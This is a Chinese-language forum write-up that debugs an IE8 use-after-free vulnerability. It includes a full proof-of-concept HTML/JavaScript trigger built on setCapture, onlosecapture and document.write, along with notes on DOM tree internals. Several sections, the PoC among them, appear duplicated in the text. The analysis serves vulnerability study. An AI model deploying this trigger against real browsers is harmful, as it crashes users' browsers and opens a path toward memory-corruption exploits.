这个洞看了几天了一直拖着,但同时又很想去搞上周很火的7zip,最近还想去学学Fuzz框架,所以一狠心下楼买了瓶肥宅快乐水决定一定要今晚把这个总结整理完结束。因为开始调试这个CVE之前对浏览器的渲染机制也不是很清楚,所以本着对新手友好的原则,尽量会写的详细一点。
调试环境:
Windows7 sp1 x86
IE8.0.7601.17514
解析树是由DOM(Document Object Model)元素和属性节点构成的树结构,根节点是Document对象。
举例:
DOM既然是树状结构,那么他们自然有如下的几种关系:
若非空,则进入如下流程:函数进入LABEL_31,创建CElementCapture对象。之后通过CDoc::GetLastCapture函数,获取上一个具有Capture的对象,若结果为空,则进入如下流程(PoC中id_0.setCapture()进入此流程)
https://www.cnblogs.com/Ox9A82/p/5797123.html
http://www.freebuf.com/vuls/54786.html
http://zenhumany.blog.163.com/blog/static/17180663320139305259394/
https://www.cnblogs.com/ghsau/archive/2012/07/18/2768532.html
https://blog.csdn.net/xiaogaobai/article/details/48780353
https://www.html5rocks.com/zh/tutorials/internals/howbrowserswork/#1_1 (介绍浏览器的工作原理,超nice,正在学习)
调试环境:
Windows7 sp1 x86
IE8.0.7601.17514
一、漏洞原理
PoC:
<html>
<script>
function trigger()
{
Math.tan(1,1);
var id_0 = document.createElement("sup");
var id_1 = document.createElement("audio");
document.body.appendChild(id_0);
document.body.appendChild(id_1);
Math.tan(3,4);
id_1.applyElement(id_0);
id_0.onlosecapture=function(e) {
Math.cos(0); //这个辅助语句的位置在后面将会探讨
document.write("");
}
Math.sin(0);
id_0['outerText']="";
Math.cos(0);
id_0.setCapture();
id_1.setCapture();
Math.cos(0);
}
window.onload = function() {
trigger();
}
</script>
</html>
开始调试之前我们先完整地分析一下PoC的代码。首先需要了解的就是DOM树的生成:
解析树是由DOM(Document Object Model)元素和属性节点构成的树结构,根节点是Document对象。
举例:
<html>
<body>
<p>HelloWorld</p>
<div><img src="example.png"/></div>
</body>
</html>
DOM既然是树状结构,那么他们自然有如下的几种关系:
-
根结点(document)
-
父结点(parentNode)
-
子结点(childNodes)
-
兄弟结点兄弟结点(sibling)(sibling)
下图即为上段代码所生成的DOM树结构:
<html>
<script>
function trigger()
{
Math.tan(1,1);
var id_0 = document.createElement("sup");
var id_1 = document.createElement("audio");
document.body.appendChild(id_0);
document.body.appendChild(id_1);
Math.tan(3,4);
id_1.applyElement(id_0);
id_0.onlosecapture=function(e) {
Math.cos(0); //这个辅助语句的位置在后面将会探讨
document.write("");
}
Math.sin(0);
id_0['outerText']="";
Math.cos(0);
id_0.setCapture();
id_1.setCapture();
Math.cos(0);
}
window.onload = function() {
trigger();
}
</script>
</html>
开始调试之前我们先完整地分析一下PoC的代码。首先需要了解的就是DOM树的生成:
解析树是由DOM(Document Object Model)元素和属性节点构成的树结构,根节点是Document对象。
举例:
<html>
<body>
<p>HelloWorld</p>
<div><img src="example.png"/></div>
</body>
</html>
<html>
<body>
<p>HelloWorld</p>
<div><img src="example.png"/></div>
</body>
</html>
DOM既然是树状结构,那么他们自然有如下的几种关系:
-
根结点(document)
-
父结点(parentNode)
-
子结点(childNodes)
-
兄弟结点兄弟结点(sibling)(sibling)
下图即为上段代码所生成的DOM树结构:
PoC的执行流程:
-
document.createElement()语句创建了一个对象,document.body.appendChild创建了一个CTreeNode指向之前所创建的对象,成为body节点的子节点。
-
id_1.applyElement(id_0): id_1与id_0本为兄弟节点,这条代码将id_1改为id_0的子节点,后续调试过程中将会验证。
-
id_0['outerText']="":将会删除id_0节点及其子节点。通过innerText属性可以操作元素中包含的所有文本内容,包括子文档树中的文本。在通过innerText写入值时,结果会删除元素的所有子节点,插入包含相应文本值的文本节点。通过outerText属性操作时作用范围会扩大到包含调用它的节点之外,在写操作时,outerText不只是替换调用它的元素的子节点,而是会替换整个元素。
4. id_0.setCapture();在调用id_1.setCapture()之后,id_0.onlosecapture调用document.write("")。在DOM树就绪后执行document.write会重新渲染整个页面,
<!DOCTYPE html>
<html>
<head>
<title>123456</title>
<script type="text/javascript">
window.onload=function(){
document.write("Iuobobo");
}
</script>
</head>
<body>
<div>123456</div>
</body>
</html>
所以这句代码将所有对象释放,CBodyElement的CTreeNode也被释放。
具体细节开始调试慢慢验证:
PoC断在CTreeNode::GetInterface+0xb6,用kv命令回溯得到上层函数,默默记仇,不是,记下。
从头来过,加载PoC并打下断点:
在第一次命中tan之前是<html>、<body>等创建,重点关注之后内容:
这里建立了id_0、id_1两个Element
PoC的执行流程:
-
document.createElement()语句创建了一个对象,document.body.appendChild创建了一个CTreeNode指向之前所创建的对象,成为body节点的子节点。
-
id_1.applyElement(id_0): id_1与id_0本为兄弟节点,这条代码将id_1改为id_0的子节点,后续调试过程中将会验证。
-
id_0['outerText']="":将会删除id_0节点及其子节点。通过innerText属性可以操作元素中包含的所有文本内容,包括子文档树中的文本。在通过innerText写入值时,结果会删除元素的所有子节点,插入包含相应文本值的文本节点。通过outerText属性操作时作用范围会扩大到包含调用它的节点之外,在写操作时,outerText不只是替换调用它的元素的子节点,而是会替换整个元素。
4. id_0.setCapture();在调用id_1.setCapture()之后,id_0.onlosecapture调用document.write("")。在DOM树就绪后执行document.write会重新渲染整个页面,
<!DOCTYPE html>
<html>
<head>
<title>123456</title>
<script type="text/javascript">
window.onload=function(){
document.write("Iuobobo");
}
</script>
</head>
<body>
<div>123456</div>
</body>
</html>
所以这句代码将所有对象释放,CBodyElement的CTreeNode也被释放。
具体细节开始调试慢慢验证:
PoC断在CTreeNode::GetInterface+0xb6,用kv命令回溯得到上层函数,默默记仇,不是,记下。
从头来过,加载PoC并打下断点:
在第一次命中tan之前是<html>、<body>等创建,重点关注之后内容:
这里建立了id_0、id_1两个Element
加入DOM树中:
可以看到CTreeNode+0x00指向的即为自身的Element,+0x04指向的是同一个地址,猜测是他们的父节点Body的TreeNode,果然:
同时,在下一次命中tan后(保证插入DOM树执行流程结束),可以看到Element+0x14也指向TreeNode节点:
在执行完id_1.applyElement(id_0)之后,如上文分析PoC中提到,id_1变为id_0的子节点:
接下来是关键的id_0['outerText']="";
执行结束之后可以看到id_0的TreeNode已经脱落,作为其子节点id_1的TreeNode也被删除。
当id_1.setCapture执行,将会触发id_0.onlosecapture,断在document.write("")之前的cos函数,此时对最开始回溯得到的函数下断点。
在第二次执行NodeAddRef函数时,跟进GetInterface,(这里我不小心重开过一次,跟上文中的地址不同了)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2018-5-22 16:52
被luobobo编辑
,原因: